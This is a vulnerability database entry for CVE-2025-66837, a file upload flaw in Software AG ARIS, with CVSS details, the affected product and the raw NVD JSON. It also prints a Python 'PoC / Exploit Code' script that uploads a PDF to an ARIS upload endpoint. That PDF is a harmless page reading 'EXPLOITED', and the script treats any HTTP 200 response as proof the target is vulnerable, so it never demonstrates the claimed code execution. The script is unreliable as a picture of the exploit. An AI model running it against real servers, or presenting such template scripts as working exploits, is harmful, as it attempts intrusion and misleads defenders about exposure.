Security Vulnerability Report
中文
CVE-2025-66837 CVSS 6.8 MEDIUM

CVE-2025-66837

Published: 2026-01-07 17:16:01
Last Modified: 2026-01-21 22:05:51

Description

A file upload vulnerability in ARIS 10.0.23.0.3587512 allows attackers to execute arbitrary code via uploading a crafted PDF file/Malware

CVSS Details

CVSS Score
6.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:softwareag:aris:*:*:*:*:*:*:*:* - VULNERABLE
ARIS 10.0.23.0.3587512

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-66837 PoC - ARIS File Upload RCE Author: Security Researcher Note: This is for authorized testing only """ import requests import sys import json TARGET_URL = "http://target-aris-server.com" CVE_ID = "CVE-2025-66837" def create_malicious_pdf(): """ Generate a crafted PDF file with embedded malicious code """ # Basic malicious PDF structure for testing pdf_content = b"""%PDF-1.4 1 0 obj << /Type /Catalog /Pages 2 0 R >> endobj 2 0 obj << /Type /Pages /Kids [3 0 R] /Count 1 >> endobj 3 0 obj << /Type /Page /Parent 2 0 R /Resources << /Font << /F1 << /Type /Font /Subtype /Type1 /BaseFont /Helvetica >> >> >> /MediaBox [0 0 612 792] /Contents 4 0 R >> endobj 4 0 obj << /Length 44 >> stream BT /F1 12 Tf 100 700 Td (EXPLOITED) Tj ET endstream endobj xref 0 5 0000000000 65535 f 0000000009 00000 n 0000000058 00000 n 0000000115 00000 n 0000000214 00000 n trailer << /Size 5 /Root 1 0 R >> startxref 307 %%EOF""" return pdf_content def exploit_aris_upload(target_url, file_data): """ Attempt to upload malicious file to ARIS server """ upload_endpoint = f"{target_url}/aris/api/upload" files = { 'file': ('malicious.pdf', file_data, 'application/pdf') } headers = { 'User-Agent': f'Mozilla/5.0 PoC-Generator-{CVE_ID}' } try: response = requests.post( upload_endpoint, files=files, headers=headers, timeout=30 ) result = { 'status_code': response.status_code, 'response': response.text, 'vulnerable': response.status_code == 200 } return result except requests.exceptions.RequestException as e: return {'error': str(e), 'vulnerable': False} def main(): print(f"[*] {CVE_ID} Exploitation Script") print(f"[*] Target: {TARGET_URL}") # Generate malicious file malicious_pdf = create_malicious_pdf() print("[+] Generated malicious PDF file") # Attempt exploitation print("[*] Attempting file upload exploit...") result = exploit_aris_upload(TARGET_URL, malicious_pdf) print(f"[+] Result: {json.dumps(result, indent=2)}") return 0 if result.get('vulnerable') else 1 if __name__ == "__main__": sys.exit(main())

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66837", "sourceIdentifier": "[email protected]", "published": "2026-01-07T17:16:01.393", "lastModified": "2026-01-21T22:05:50.847", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A file upload vulnerability in ARIS 10.0.23.0.3587512 allows attackers to execute arbitrary code via uploading a crafted PDF file/Malware"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:softwareag:aris:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.23.0.3587512", "matchCriteriaId": "073C0921-42E0-48C3-9DDC-65C5D5B34471"}]}]}], "references": [{"url": "https://github.com/saykino/CVE-2025-66837/", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.softwareag.com/", "source": "[email protected]", "tags": ["Product"]}]}}